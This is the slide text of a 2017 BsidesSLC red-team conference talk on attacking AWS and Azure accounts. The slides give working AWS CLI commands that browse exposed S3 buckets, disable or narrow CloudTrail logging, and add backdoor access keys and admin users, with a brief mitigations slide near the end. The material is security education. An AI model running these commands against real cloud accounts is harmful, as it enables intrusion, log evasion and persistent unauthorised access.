Pwned Cloud Society - BsidesSLC 2017
•
2 likes•942 views
Pwned Cloud Society at BsidesSLC 2017 BsidesSLC 20170309
Recommended
More Related Content
What's hot
What's hot (20)
Similar to Pwned Cloud Society - BsidesSLC 2017
Similar to Pwned Cloud Society - BsidesSLC 2017 (20)
Recently uploaded
Recently uploaded (20)
Pwned Cloud Society - BsidesSLC 2017
- 1. PWNED CLOUD SOCIETY: Exploiting and Expanding Access within Azure & AWS
- 2. BRYCE KUNZ Bryce Kunz - @TweekFawkes @TweekFawkes PriorWork Experience: • Adobe DMa – RedTeam • DoD/NSA – Exploitation • DHS/OneNet – Defense Trainings & Sessions • RSA – mesos/docker • SAINTCON – osquery • BsidesLV – mesos/docker • Derbycon -WhiteLightning
- 3. CLOUD… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS
- 4. SO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure
- 5. SOO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure Google
- 6. SOOO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure GoogleRackspace
- 7. NEW-NEW Bryce Kunz - @TweekFawkes … they want that new-new … AWS Azure GoogleRackspace etc…
- 8. OLD IS NEW Bryce Kunz - @TweekFawkes … but really it’s not that much different …
- 9. OLD WAYS Bryce Kunz - @TweekFawkes … push code … … jenkins … … do work son … CIBatch Jobs Web Dev Code
- 10. NEW Bryce Kunz - @TweekFawkes … code … … some overpriced hipster services … … do work … CIBatch Jobs Web Dev S3 BucketBatch Lambda Code CodeDeploy
- 11. ADMINS Bryce Kunz - @TweekFawkes ... admin … AD/LDAP CIBatch Jobs Web Admin Dev Code
- 12. NEW ADMIN Bryce Kunz - @TweekFawkes … admins got to admin … AD/LDAP CIBatch Jobs Web Admin Dev Management Console S3 BucketBatch Lambda Code CodeDeploy
- 13. DEVOPS Bryce Kunz - @TweekFawkes … DevOp-ocalypse … AD/LDAP CIBatch Jobs Web DevOps Management Console S3 BucketBatch Lambda Code CodeDeploy
- 14. DEVOPS Bryce Kunz - @TweekFawkes … DevOp-ocalypse … AD/LDAP CIBatch Jobs Web DevOps Management Console S3 BucketBatch Lambda Code CodeDeploy
- 15. BAD DAYS Bryce Kunz - @TweekFawkes …happen…
- 16. BAD DAYS Bryce Kunz - @TweekFawkes … $50k!?!?!?
- 17. BAD DAYS Bryce Kunz - @TweekFawkes …EC2 instances destroyed…
- 18. INITIAL ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • Configuration Files
- 19. PASTEBIN Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • - PasteBin.com
- 20. GITHUB Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • - PasteBin.com • - GitHub.com
- 21. REPOS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • - BitBucket, GitLab • - Gerrit, GitBlit, Git • - SVN, etc…
- 22. DEPLOY ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • - Puppet, etc… • - Jenkins, etc…
- 23. HACK & D/L ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • Configuration Files • - Classic Hacks • -- D/L Secrets
- 24. WHAT… Bryce Kunz - @TweekFawkes Services - Many Services - API Access - User Access … is the point?
- 25. SO MANY … Bryce Kunz - @TweekFawkes …
- 26. TYPES Bryce Kunz - @TweekFawkes …
- 27. API Bryce Kunz - @TweekFawkes …
- 28. USERS Bryce Kunz - @TweekFawkes …
- 29. SETUP Bryce Kunz - @TweekFawkes Preparation • New EC2 Instance • Setup AWSTools On an Ubuntu 16.x EC2 instance… apt-get update apt-get install python-pip pip install aws-shell pip install awscli
- 30. S3 BUCKETS Bryce Kunz - @TweekFawkes … S3 Bucket Amazon S3
- 31. REGION ping -c3 exam.ple dig +nocmd exam.ple any +multiline +noall +answer nslookup 54.231.184.255 S3 Buckets • Find Region S3 Bucket Amazon S3
- 32. S3 BUCKETS aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • Find Region • Browse Files S3 Bucket Amazon S3
- 33. S3 BUCKETS aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • World Browsable S3 Bucket Amazon S3
- 34. S3 BUCKETS aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 S3 Buckets • World Browsable S3 Bucket Amazon S3
- 35. S3 BUCKETS aws s3 ls s3://...exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • Sensitive Files S3 Bucket Amazon S3
- 36. S3 BUCKETS aws s3 sync s3://…exam.ple/ . --no-sign-request --region us-west-2 S3 Buckets • Sensitive Files S3 Bucket Amazon S3
- 37. S3 BUCKETS git log S3 Buckets • Sensitive Files • - GIT • - SVN • - etc… S3 Bucket Amazon S3
- 38. S3 BUCKETS git checkout f7c… S3 Buckets • Sensitive Files S3 Bucket Amazon S3
- 39. LEVERAGE SECRETS Bryce Kunz - @TweekFawkes Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets
- 40. CONFIGURE aws configure --profile example Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets AWS CLI AWS Cloud
- 41. VERIFY (remove the spaces around the = character for easier scripts) Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets AWS CLI AWS Cloud
- 42. WHOAMI aws --profile example sts get-caller-identity Survey Access • Who AreWe? AWS CLI AWS Cloud
- 43. IAM WHO aws --profile example iam get-user Survey Access • Who AreWe? • IAMWho? AWS CLI AWS Cloud
- 44. LOGGING Bryce Kunz - @TweekFawkes Survey Access • Who AreWe? • Logging? AWS CloudTrailAWS CLI AWS Cloud
- 45. LOGGING? aws --profile api_cloudtrail cloudtrail describe-trails Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
- 46. STOP-LOGS aws --profile api_cloudtrail configure set region us-east-1 aws --profile api_cloudtrail cloudtrail stop-logging --name "arn:aws:cloudtrail:us-east- 1:…:trail/…" Survey Access • Who AreWe? • Logging? AWS CloudTrail
- 47. OPSEC? Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
- 48. LOGGING? aws --profile api_cloudtrail cloudtrail describe-trails Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
- 49. NO MULTI aws --profile api_cloudtrail configure set region us-east-1 aws --profile api_cloudtrail cloudtrail update-trail --name "arn:aws:cloudtrail:us-east- 1:…:trail/…" --no-is-multi-region-trail --no-include-global-service-events Stops logging in all regions… • EXCEPT the HomeRegion AWS CloudTrail
- 50. OPSEC… … Stops logging in all regions… • EXCEPT the HomeRegion AWS CloudTrail
- 51. PERSIST Bryce Kunz - @TweekFawkes Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add Account AWS CLI AWS Cloud
- 52. PERSIST aws --profile api_cloudtrail sts get-session-token Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
- 53. SETUP vi ~/.aws/credentials Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
- 54. SESSION aws --profile sessionTokens sts get-caller-identity Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
- 55. ADD KEY To an already existing user…. Persistence • SessionToken • -Valid for 12 Hours • Add Key AWS CLI AWS Cloud
- 56. ADD KEY Persistence • SessionToken • -Valid for 12 Hours • Add Key aws --profile api_iam iam list-users AWS CLI AWS Cloud
- 57. ADD KEY Persistence • SessionToken • -Valid for 12 Hours • Add Key aws --profile api_iam iam create-access-key --user-name test AWS CLI AWS Cloud
- 58. ADD USER Bryce Kunz - @TweekFawkes Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User AWS CLI AWS Cloud
- 59. ADD USER aws --profile api_iam iam create-user --user-name mryan aws --profile api_iam iam add-user-to-group --user-name mryan --group-name Admin Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
- 60. ADD KEY aws --profile api_iam iam create-access-key --user-name mryan Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
- 61. ADD PASS aws --profile api_iam iam create-login-profile --user-name mryan --password examplepass Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
- 62. NEW EC2 Bryce Kunz - @TweekFawkes …
- 63. EC2 META Metadata Service: 169.254.169.254 curl http://169.254.169.254/latest/meta-data/ RFC-3927: https://tools.ietf.org/html/rfc3927 AWS: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html AWS QueryTool: https://aws.amazon.com/code/1825 …
- 64. AZURE META Metadata Service: 169.254.169.254 curl http://169.254.169.254/metadata/v1/maintenance curl http://169.254.169.254/metadata/v1/InstanceInfo (these are mostly useless for hackers…) but useful information is copied into the … /var/lib/waagent directory when the instance is created… (root access needed) • IP address, hostname, subscription ID, resource group name, etc… …
- 65. SNAPS &IAM aws --profile api_ec2 ec2 create-volume --availability-zone us-west-2a --region us-west-2 -- snapshot-id snap-0b49342abd1bdcb89 mount /dev/xvdb1 /mnt find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less …
- 66. HARD BOOT Bryce Kunz - @TweekFawkes … Horrible OPSEC but it works… - Power off a server - Mount the server’s hard drive using another EC2 - Modify the server for remote access (e.g. add an SSH key to root user) - Power back on the server & PROFIT!
- 67. MITIGATIONS • Single Purpose Secrets • Limited the Access of each Secret • Create roles and limit the access of each role • You can ACL off secrets to only work from certain IP addresses • Log API calls (e.g. cloudtrail) • Never use root secrets (use as a break glass account only) • Rotate Secrets Frequently • Encrypt secrets within GIT and other data stores …
- 68. THANKS! Bryce Kunz - @TweekFawkes …
- 69. References • http://level4- 1156739cfb264ced6de514971a4bef68.flaws.cloud/hint 2.html • https://www.slideshare.net/chrisgates/devoops- attacks-and-defenses-for-devops-toolchains • http://flaws.cloud/ • https://danielgrzelak.com/disrupting-aws-logging- a42e437d6594 • https://danielgrzelak.com/backdooring-an-aws- account-da007d36f8f9 • https://danielgrzelak.com/exploring-an-aws-account- after-pwning-it-ff629c2aae39 • http://docplayer.net/24014561-Defending-the-cloud- from-the-full-stack-hack.html